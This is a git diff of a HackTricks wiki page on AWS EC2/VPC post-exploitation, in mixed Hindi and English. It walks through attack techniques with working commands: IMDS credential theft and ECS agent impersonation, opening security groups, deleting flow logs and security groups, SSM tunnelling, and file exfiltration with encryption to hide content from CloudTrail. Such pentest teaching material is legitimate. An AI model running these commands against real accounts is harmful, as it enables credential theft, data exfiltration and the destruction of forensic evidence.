mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-07-29 07:00:29 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
Translator
+103
-82
@@ -4,7 +4,7 @@
|
||||
|
||||
## EC2 & VPC
|
||||
|
||||
अधिक जानकारी के लिए देखें:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
|
||||
@@ -12,10 +12,10 @@
|
||||
|
||||
### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule`
|
||||
|
||||
VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** — instances पर कुछ भी इंस्टॉल करने की आवश्यकता नहीं होती। इस डुप्लिकेट किए गए ट्रैफ़िक को आम तौर पर विश्लेषण और निगरानी के लिए network intrusion detection system (IDS) जैसे सिस्टम को भेजा जाता है.\
|
||||
एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है:
|
||||
VPC traffic mirroring **VPC के अंदर EC2 instances के लिए इनबाउंड और आउटबाउंड ट्रैफ़िक को डुप्लिकेट करता है** और इसमें instances पर कुछ भी इंस्टॉल करने की ज़रूरत नहीं होती। यह डुप्लिकेट किया गया ट्रैफ़िक आमतौर पर विश्लेषण और मॉनिटरिंग के लिए किसी network intrusion detection system (IDS) जैसी चीज़ को भेजा जाता है.\
|
||||
एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को कैप्चर कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है:
|
||||
|
||||
अधिक जानकारी के लिए इस पेज को देखें:
|
||||
For more information check this page:
|
||||
|
||||
{{#ref}}
|
||||
aws-malicious-vpc-mirror.md
|
||||
@@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md
|
||||
|
||||
### Copy Running Instance
|
||||
|
||||
Instances आमतौर पर किसी न किसी तरह की संवेदनशील जानकारी रखते हैं। अंदर पहुँचने के अलग-अलग तरीके हैं (देखें [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). हालांकि, इसके भीतर क्या है यह देखने का एक और तरीका है कि **एक AMI बनाकर उससे एक नया instance चलाया जाए (यहाँ तक कि अपने ही account में भी)**:
|
||||
Instances में आमतौर पर किसी न किसी तरह की संवेदनशील जानकारी होती है। अंदर पहुँचने के अलग-अलग तरीके होते हैं (देखें [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). हालांकि, इसकी सामग्री देखने का एक और तरीका है कि आप **create an AMI and run a new instance (even in your own account) from it**:
|
||||
```shell
|
||||
# List instances
|
||||
aws ec2 describe-images
|
||||
@@ -47,26 +47,26 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups "
|
||||
aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1
|
||||
```
|
||||
### EBS Snapshot डंप
|
||||
### EBS Snapshot dump
|
||||
|
||||
**Snapshots volumes के बैकअप होते हैं**, जो आम तौर पर **संवेदनशील जानकारी** रखते हैं, इसलिए उनकी जाँच से यह जानकारी उजागर हो सकती है।\
|
||||
अगर आपको कोई **volume बिना Snapshot** के मिले तो आप: **Create a snapshot** कर सकते हैं और निम्नलिखित क्रियाएँ कर सकते हैं या बस उसे खाते के अंदर किसी **instance** में **mount** कर सकते हैं:
|
||||
**Snapshots are backups of volumes**, जो आमतौर पर **संवेदनशील जानकारी** रखते हैं, इसलिए उन्हें चेक करने पर यह जानकारी उजागर हो सकती है।\
|
||||
If you find a **volume without a snapshot** you could: **Create a snapshot** and perform the following actions or just **mount it in an instance** inside the account:
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-snapshot-dump.md
|
||||
{{#endref}}
|
||||
|
||||
### Covert Disk Exfiltration — AMI Store-to-S3 के माध्यम से
|
||||
### Covert Disk Exfiltration via AMI Store-to-S3
|
||||
|
||||
EC2 AMI को सीधे S3 में `CreateStoreImageTask` का उपयोग करके export करें ताकि बिना snapshot sharing के एक raw disk image प्राप्त किया जा सके। यह पूरी तरह ऑफ़लाइन फॉरेंसिक्स या data theft की अनुमति देता है जबकि instance की networking को अप्रभावित रखा जाता है।
|
||||
EC2 AMI को सीधे S3 में export करने के लिए `CreateStoreImageTask` का उपयोग करके बिना snapshot sharing के raw disk image प्राप्त करें। इससे instance की networking को अप्रभावित रखते हुए पूरा offline forensics या data theft संभव होता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-ami-store-s3-exfiltration.md
|
||||
{{#endref}}
|
||||
|
||||
### Live Data Theft — EBS Multi-Attach के माध्यम से
|
||||
### Live Data Theft via EBS Multi-Attach
|
||||
|
||||
एक io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only के रूप में mount करके बिना snapshots के लाइव डेटा निकालें। यह तब उपयोगी है जब victim volume में पहले से ही उसी AZ में Multi-Attach सक्षम हो।
|
||||
io1/io2 Multi-Attach volume को दूसरी instance से attach करके उसे read-only mount करें और snapshots के बिना live data siphon करें। जब victim volume पहले से ही उसी AZ में Multi-Attach enabled हो तो यह उपयोगी होता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-ebs-multi-attach-data-theft.md
|
||||
@@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md
|
||||
|
||||
### EC2 Instance Connect Endpoint Backdoor
|
||||
|
||||
एक EC2 Instance Connect Endpoint बनाएं, ingress को authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुँचें। यह public ports खोलने के बिना त्वरित lateral movement paths प्रदान करता है।
|
||||
EC2 Instance Connect Endpoint बनाएं, ingress authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुंच प्राप्त करें। यह public ports खोले बिना तेज़ lateral movement के रास्ते देता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
@@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md
|
||||
|
||||
### EC2 ENI Secondary Private IP Hijack
|
||||
|
||||
victim ENI की secondary private IP को attacker-controlled ENI पर मूव करें ताकि IP द्वारा allowlisted trusted hosts का impersonation可能 हो। इससे internal ACLs या SG rules जो विशिष्ट addresses पर निर्भर हैं, bypass करने में मदद मिलती है।
|
||||
victim ENI का secondary private IP attacker-controlled ENI में move करके IP द्वारा allowlisted trusted hosts का impersonation करें। यह internal ACLs या specific addresses पर keyed SG rules को bypass करने में सक्षम बनाता है।
|
||||
|
||||
{{#ref}}
|
||||
aws-eni-secondary-ip-hijack.md
|
||||
@@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md
|
||||
|
||||
### Elastic IP Hijack for Ingress/Egress Impersonation
|
||||
|
||||
victim instance से Elastic IP को attacker के साथ reassociate करें ताकि inbound ट्रैफ़िक को intercept किया जा सके या outbound कनेक्शन्स originate किए जा सकें जो trusted public IPs से आते दिखें।
|
||||
victim instance से Elastic IP को attacker के साथ reassociate करके inbound ट्रैफ़िक intercept करें या ऐसे outbound कनेक्शन originate करें जो trusted public IPs से आते दिखें।
|
||||
|
||||
{{#ref}}
|
||||
aws-eip-hijack-impersonation.md
|
||||
@@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md
|
||||
|
||||
### Security Group Backdoor via Managed Prefix Lists
|
||||
|
||||
यदि कोई security group rule किसी customer-managed prefix list को reference करता है, तो attacker CIDRs को उस list में जोड़ने से बिना SG को बदले ही हर dependent SG rule में चुपचाप access बढ़ सकता है।
|
||||
यदि कोई security group rule किसी customer-managed prefix list को reference करता है, तो उस list में attacker CIDRs जोड़ने से बिना SG को बदले हर dependent SG rule में चुपचाप पहुंच बढ़ जाती है।
|
||||
|
||||
{{#ref}}
|
||||
aws-managed-prefix-list-backdoor.md
|
||||
@@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md
|
||||
|
||||
### VPC Endpoint Egress Bypass
|
||||
|
||||
isolated subnets से outbound access वापस पाने के लिए gateway या interface VPC endpoints बनाएं। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass कर के data exfiltration की जा सकती है।
|
||||
gateway या interface VPC endpoints बनाकर isolated subnets से outbound access फिर से प्राप्त करें। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass करके डेटा exfiltration की जा सकती है।
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-endpoint-egress-bypass.md
|
||||
@@ -114,13 +114,12 @@ aws-vpc-endpoint-egress-bypass.md
|
||||
|
||||
### `ec2:AuthorizeSecurityGroupIngress`
|
||||
|
||||
जिसके पास ec2:AuthorizeSecurityGroupIngress permission है, वह security groups में inbound rules जोड़ सकता है (उदाहरण के लिए, 0.0.0.0/0 से tcp:80 को allow करना), जिससे internal services public Internet या अन्य unauthorized नेटवर्क्स के सामने उजागर हो जाती हैं।
|
||||
ec2:AuthorizeSecurityGroupIngress permission वाले attacker security groups में inbound rules जोड़ सकते हैं (उदाहरण के लिए, 0.0.0.0/0 से tcp:80 की अनुमति), जिससे internal services public Internet या अन्य unauthorized networks के लिए उजागर हो जाती हैं।
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
```
|
||||
# `ec2:ReplaceNetworkAclEntry`
|
||||
|
||||
ec2:ReplaceNetworkAclEntry (or similar) permissions वाले हमलावर subnet’s Network ACLs (NACLs) को संशोधित करके उन्हें बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरे subnet रेंज Internet या unauthorized network segments के सामने उजागर हो सकता है। Unlike Security Groups, जिन्हें per-instance पर लागू किया जाता है, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL में बदलाव करने से कई और hosts तक पहुँच सक्षम होकर blast radius कहीं ज़्यादा बड़ा हो सकता है।
|
||||
एक attacker जिसके पास ec2:ReplaceNetworkAclEntry (या समान) permissions हों, वे एक subnet के Network ACLs (NACLs) को बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 allow करके — जिससे पूरा subnet range Internet या unauthorized network segments के लिए खुल सकता है। Security Groups के विपरीत, जिन्हें per-instance लागू किया जाता है, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL को बदलने से बहुत अधिक hosts तक access सक्षम होकर blast radius काफी बड़ा हो सकता है।
|
||||
```bash
|
||||
aws ec2 replace-network-acl-entry \
|
||||
--network-acl-id <ACL_ID> \
|
||||
@@ -132,9 +131,7 @@ aws ec2 replace-network-acl-entry \
|
||||
```
|
||||
### `ec2:Delete*`
|
||||
|
||||
An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence.
|
||||
|
||||
एक हमलावर जिनके पास ec2:Delete* और iam:Remove* permissions हों, वे महत्वपूर्ण infrastructure resources और configurations हटा सकते हैं — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes या attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तुरंत service disruption, data loss, और forensic evidence का नुकसान हो सकता है।
|
||||
ec2:Delete* और iam:Remove* permissions वाले attacker महत्वपूर्ण infrastructure resources और configurations को हटा सकते हैं — जैसे key pairs, launch templates/versions, AMIs/snapshots, volumes या attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तात्कालिक service disruption, डेटा लॉस, और forensic evidence का नाश हो सकता है।
|
||||
|
||||
One example is deleting a security group:
|
||||
|
||||
@@ -143,9 +140,7 @@ aws ec2 delete-security-group \
|
||||
|
||||
### VPC Flow Logs Cross-Account Exfiltration
|
||||
|
||||
Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance.
|
||||
|
||||
VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि वह victim account के बाहर नेटवर्क metadata (source/destination, ports) को लगातार संग्रहित कर सके, long-term reconnaissance के लिए।
|
||||
VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि नेटवर्क metadata (source/destination, ports) लगातार victim account के बाहर long-term reconnaissance के लिए इकट्ठा किया जा सके।
|
||||
|
||||
{{#ref}}
|
||||
aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
@@ -155,42 +150,68 @@ aws-vpc-flow-logs-cross-account-exfiltration.md
|
||||
|
||||
#### DNS Exfiltration
|
||||
|
||||
Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**.
|
||||
अगर आप EC2 को लॉक डाउन कर दें ताकि कोई traffic बाहर न जाए, तब भी यह **exfil via DNS** कर सकता है।
|
||||
|
||||
यदि आप EC2 को लॉकडाउन कर दें ताकि कोई traffic बाहर न जा सके, तब भी यह **exfil via DNS** कर सकता है।
|
||||
|
||||
- **VPC Flow Logs will not record this**.
|
||||
- You have no access to AWS DNS logs.
|
||||
- Disable this by setting "enableDnsSupport" to false with:
|
||||
|
||||
**VPC Flow Logs यह रिकॉर्ड नहीं करेगा।**
|
||||
|
||||
आपके पास AWS DNS logs तक पहुंच नहीं है।
|
||||
|
||||
इसे बंद करने के लिए "enableDnsSupport" को false सेट करें:
|
||||
- **VPC Flow Logs will not record this**।
|
||||
- आपके पास AWS DNS logs तक पहुँच नहीं है।
|
||||
- इसे disable करने के लिए "enableDnsSupport" को false सेट करें:
|
||||
|
||||
`aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id <vpc-id>`
|
||||
|
||||
#### Exfiltration via API calls
|
||||
|
||||
An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs.
|
||||
|
||||
एक हमलावर उस खाते के API endpoints को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail logs में exfiltrate डेटा देख पाएगा।
|
||||
एक attacker उस account के API endpoints को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन calls को log करेगा और attacker Cloudtrail logs में exfiltrate डेटा देख सकेगा।
|
||||
|
||||
### Open Security Group
|
||||
|
||||
You could get further access to network services by opening ports like this:
|
||||
|
||||
आप इस तरह पोर्ट खोलकर नेटवर्क सेवाओं तक और अधिक पहुँच प्राप्त कर सकते हैं:
|
||||
आप इस तरह पोर्ट खोलकर network services तक और पहुँच प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
aws ec2 authorize-security-group-ingress --group-id <sg-id> --protocol tcp --port 80 --cidr 0.0.0.0/0
|
||||
# Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC
|
||||
```
|
||||
### Privesc to ECS
|
||||
|
||||
यह संभव है कि एक EC2 instance चलाकर उसे ECS instances चलाने के लिए register किया जाए और फिर ECS instances के डेटा को चुरा लिया जाए।
|
||||
EC2 instance को चलाकर और उसे ECS instances चलाने के लिए register करके आप उस ECS instances का डेटा चुरा सकते हैं।
|
||||
|
||||
अधिक जानकारी के लिए [**यहाँ देखें**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
|
||||
|
||||
### ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation
|
||||
|
||||
EC2 container instance पर चल रहे किसी भी ECS task के अंदर का compromise आमतौर पर host रोल और उस node पर मौजूद अन्य सभी tasks से जुड़े IAM roles तक pivot करने के लिए पर्याप्त होता है। क्योंकि ECS-on-EC2 के लिए **कोई task isolation नहीं है**, हर task डिफ़ॉल्ट रूप से EC2 Instance Metadata Service (IMDS) को query कर सकता है, container instance profile चुरा सकता है, और फिर वही WebSocket protocol बोल सकता है जिसे ECS agent control plane के साथ उपयोग करता है (यहाँ **ECScape** primitive) ताकि उस host पर वर्तमान में scheduled सभी tasks के credentials प्राप्त किए जा सकें। Latacora ने अपने [ECS-on-EC2 IMDS research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) में इस workflow का documentation किया है, जिसे नीचे का offensive सार संक्षेप में पेश करता है।
|
||||
|
||||
#### Attack chain
|
||||
|
||||
1. **Steal the instance profile from inside the container.** Assume IMDSv2 is required, so request a token and then fetch the profile.
|
||||
|
||||
```bash
|
||||
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
|
||||
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
|
||||
```
|
||||
2. **Use the container instance role to impersonate the ECS agent.** उन credentials के साथ आप undocumented WebSocket चैनल बोल सकते हैं जिसे ECS agent उपयोग करता है; control plane आपको वास्तविक agent समझकर every task IAM credentials आपके process को दे देता है। अब आप higher-privileged tasks lokaal चला सकते हैं, task environment secrets dump कर सकते हैं, या services/tasks को update करके ऐसे workloads redeploy कर सकते हैं जिन्हें आप पूरी तरह निरीक्षण कर सकें।
|
||||
|
||||
#### IMDS reachability with IMDSv2 + hop limit 1
|
||||
|
||||
IMDSv2 को `HttpTokens=required` और `HttpPutResponseHopLimit=1` के साथ सेट करना केवल उन tasks को ब्लॉक करता है जो एक अतिरिक्त hop (Docker bridge) के पीछे रहते हैं। अन्य networking modes Nitro controller के एक hop के भीतर रहते हैं और फिर भी responses प्राप्त होते हैं:
|
||||
|
||||
| ECS network mode | IMDS reachable? | Reason |
|
||||
| --- | --- | --- |
|
||||
| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. |
|
||||
| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. |
|
||||
| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. |
|
||||
|
||||
इसलिए, **कभी भी यह मत मानें कि hop limit 1 awsvpc या host-mode workloads को सुरक्षित करता है**—हमेशा अपने containers के अंदर से टेस्ट करें।
|
||||
|
||||
#### Detecting IMDS blocks per network mode
|
||||
|
||||
- **awsvpc tasks:** Security groups, NACLs, या routing tweaks link-local 169.254.169.254 address को ब्लॉक नहीं कर सकते क्योंकि Nitro इसे on-host inject करता है। `/etc/ecs/ecs.config` में `ECS_AWSVPC_BLOCK_IMDS=true` के लिए चेक करें। अगर यह flag missing है (default) तो आप task से सीधे IMDS को curl कर सकते हैं। अगर यह सेट है, तो host/agent namespace में pivot करके इसे वापस flip करें या अपना tooling awsvpc के बाहर execute करें।
|
||||
|
||||
- **bridge mode:** जब metadata requests fail करती हैं भले ही hop limit 1 configurated हो, तो defenders ने शायद `DOCKER-USER` drop rule डाल दिया होगा जैसे `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`। `iptables -S DOCKER-USER` लिस्ट करने से यह पता चलता है, और root access से आप query करने से पहले rule को delete या reorder कर सकते हैं।
|
||||
|
||||
- **host mode:** agent configuration में `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false` की जाँच करें। यह setting task IAM roles को पूरी तरह हटा देती है, इसलिए आपको या तो इसे फिर से enable करना होगा, awsvpc tasks में move करना होगा, या host पर किसी दूसरे process के माध्यम से credentials चुराने होंगे। जब value `true` (default) होती है, तो हर host-mode process—जिसमें compromised containers भी शामिल हैं—IMDS तक पहुँच सकते हैं जब तक कि bespoke eBPF/cgroup filters सीधे `169.254.169.254` को target न कर रहे हों; tc/eBPF programs या iptables rules में उस address का संदर्भ खोजें।
|
||||
|
||||
Latacora ने [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) भी रिलीज़ किया है जिसे आप target account में drop करके यह सूची बना सकते हैं कि कौन से network modes अब भी metadata expose करते हैं और अपने अगले कदम की योजना बना सकते हैं।
|
||||
|
||||
एक बार जब आप समझ लें कि कौन से modes IMDS expose करते हैं तो आप अपना post-exploitation path plan कर सकते हैं: किसी भी ECS task को target करें, instance profile request करें, agent का impersonate करें, और lateral movement या cluster के अंदर persistence के लिए हर दूसरे task role को harvest करें।
|
||||
|
||||
### Remove VPC flow logs
|
||||
```bash
|
||||
@@ -202,64 +223,64 @@ aws ec2 delete-flow-logs --flow-log-ids <flow_log_ids> --region <region>
|
||||
|
||||
- `ssm:StartSession`
|
||||
|
||||
कमांड निष्पादन के अलावा, SSM traffic tunneling की अनुमति देता है, जिसका दुरुपयोग उन EC2 इंस्टेंस से pivot करने के लिए किया जा सकता है जिनके पास Security Groups या NACLs के कारण नेटवर्क एक्सेस नहीं है।
|
||||
एक परिदृश्य जहाँ यह उपयोगी होता है वह है [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से private EKS cluster में pivot करना।
|
||||
कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है जिसे Security Groups या NACLs के कारण नेटवर्क एक्सेस न रखने वाले EC2 इंस्टेंस से pivoting के लिए दुरुपयोग किया जा सकता है।
|
||||
एक उपयोगी परिदृश्यों में से एक है [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS cluster की ओर pivoting करना।
|
||||
|
||||
> एक session शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
> सत्र शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html
|
||||
|
||||
1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें
|
||||
2. निम्नलिखित command का उपयोग करके Bastion EC2 में लॉगिन करें:
|
||||
2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें:
|
||||
```shell
|
||||
aws ssm start-session --target "$INSTANCE_ID"
|
||||
```
|
||||
3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script का उपयोग करके Bastion EC2 AWS temporary credentials प्राप्त करें
|
||||
4. अपने मशीन पर credentials को `$HOME/.aws/credentials` फाइल में `[bastion-ec2]` profile के रूप में स्थानांतरित करें
|
||||
5. EKS में Bastion EC2 के रूप में लॉग इन करें:
|
||||
3. Bastion EC2 के AWS temporary credentials को [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script के साथ प्राप्त करें
|
||||
4. credentials को अपनी मशीन के `$HOME/.aws/credentials` फ़ाइल में `[bastion-ec2]` profile के रूप में ट्रांसफर करें
|
||||
5. Bastion EC2 के रूप में EKS में लॉग इन करें:
|
||||
```shell
|
||||
aws eks update-kubeconfig --profile bastion-ec2 --region <EKS-CLUSTER-REGION> --name <EKS-CLUSTER-NAME>
|
||||
```
|
||||
6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` पर इंगित करने के लिए अपडेट करें
|
||||
7. निम्नानुसार एक SSM टनल बनाएं:
|
||||
6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` की ओर इंगित करने के लिए अपडेट करें।
|
||||
7. निम्नानुसार एक SSM tunnel बनाएं:
|
||||
```shell
|
||||
sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":["<TARGET-IP-OR-DOMAIN>"],"portNumber":["443"], "localPortNumber":["443"]}' --region <BASTION-INSTANCE-REGION>
|
||||
```
|
||||
8. `kubectl` टूल से आने वाला ट्रैफ़िक अब Bastion EC2 के माध्यम से SSM टनल के जरिए फॉरवर्ड हो रहा है और आप अपनी मशीन से निम्न कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं:
|
||||
8. `kubectl` टूल से आने वाला ट्रैफ़िक अब SSM टनल के माध्यम से Bastion EC2 के जरिए फ़ॉरवर्ड किया जाता है और आप अपनी मशीन से निम्न कमांड चलाकर निजी EKS क्लस्टर तक पहुंच सकते हैं:
|
||||
```shell
|
||||
kubectl get pods --insecure-skip-tls-verify
|
||||
```
|
||||
ध्यान दें कि SSL कनेक्शन्स असफल हो जाएँगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग (या K8s audit tools में उसका समकक्ष) सेट न करें। चूँकि ट्रैफ़िक सुरक्षित AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं।
|
||||
ध्यान दें कि SSL कनेक्शन्स तब तक फेल हो जाएँगी जब तक आप `--insecure-skip-tls-verify` फ्लैग (या K8s audit tools में इसका समतुल्य) सेट नहीं करते। चूँकि ट्रैफ़िक secure AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM attacks से सुरक्षित हैं।
|
||||
|
||||
अंत में, यह technique निजी EKS clusters पर हमला करने के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS service या किसी custom application पर pivot करने के लिए मनमाने domains और ports सेट कर सकते हैं।
|
||||
आख़िरकार, यह technique सिर्फ private EKS clusters पर हमला करने के लिए specific नहीं है। आप किसी भी अन्य AWS service या किसी custom application पर pivot करने के लिए arbitrary domains और ports सेट कर सकते हैं।
|
||||
|
||||
---
|
||||
|
||||
#### त्वरित लोकल ↔️ रिमोट पोर्ट फॉरवर्ड (AWS-StartPortForwardingSession)
|
||||
#### त्वरित लोकल ↔️ रिमोट पोर्ट फ़ॉरवर्ड (AWS-StartPortForwardingSession)
|
||||
|
||||
यदि आपको केवल **EC2 instance से आपके local host पर एक TCP पोर्ट** फॉरवर्ड करने की आवश्यकता है तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host पैरामीटर आवश्यक नहीं):
|
||||
यदि आपको केवल **EC2 instance से अपने local host पर एक TCP पोर्ट फॉरवर्ड** करने की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं है):
|
||||
```bash
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--document-name AWS-StartPortForwardingSession \
|
||||
--parameters "portNumber"="8000","localPortNumber"="8000" \
|
||||
--region <REGION>
|
||||
```
|
||||
The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**.
|
||||
यह कमांड आपके workstation (`localPortNumber`) और instance पर चयनित पोर्ट (`portNumber`) के बीच एक द्वि-दिशीय टनल स्थापित करता है **बिना किसी इनबाउंड Security-Group rules को खोले**।
|
||||
|
||||
सामान्य उपयोग के मामले:
|
||||
Common use cases:
|
||||
|
||||
* **File exfiltration**
|
||||
1. instance पर उस डायरेक्टरी की ओर इशारा करने वाला एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं:
|
||||
1. instance पर उस डायरेक्टरी की ओर इशारा करते हुए एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं:
|
||||
|
||||
```bash
|
||||
python3 -m http.server 8000
|
||||
```
|
||||
|
||||
2. अपनी वर्कस्टेशन से SSM tunnel के माध्यम से फाइलें प्राप्त करें:
|
||||
2. अपने workstation से SSM tunnel के माध्यम से फाइलें प्राप्त करें:
|
||||
|
||||
```bash
|
||||
curl http://localhost:8000/loot.txt -o loot.txt
|
||||
```
|
||||
|
||||
* **आंतरिक वेब एप्लिकेशन तक पहुँच (उदा. Nessus)**
|
||||
* **Internal web applications तक पहुँच (e.g. Nessus)**
|
||||
```bash
|
||||
# Forward remote Nessus port 8834 to local 8835
|
||||
aws ssm start-session --target i-0123456789abcdef0 \
|
||||
@@ -267,7 +288,7 @@ aws ssm start-session --target i-0123456789abcdef0 \
|
||||
--parameters "portNumber"="8834","localPortNumber"="8835"
|
||||
# Browse to http://localhost:8835
|
||||
```
|
||||
टिप: Compress और encrypt सबूत को exfiltrating करने से पहले ताकि CloudTrail clear-text content को लॉग न करे:
|
||||
टिप: एक्सफिल्ट्रेट करने से पहले सबूत को संपीड़ित और एन्क्रिप्ट करें ताकि CloudTrail स्पष्ट-पाठ सामग्री को लॉग न करे:
|
||||
```bash
|
||||
# On the instance
|
||||
7z a evidence.7z /path/to/files/* -p'Str0ngPass!'
|
||||
@@ -278,17 +299,17 @@ aws ec2 modify-image-attribute --image-id <image_ID> --launch-permission "Add=[{
|
||||
```
|
||||
### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें
|
||||
|
||||
- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक tool है जिसे **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** डिज़ाइन किया गया है। यह लक्षित AMIs से instances लॉन्च करने, उनके volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है।
|
||||
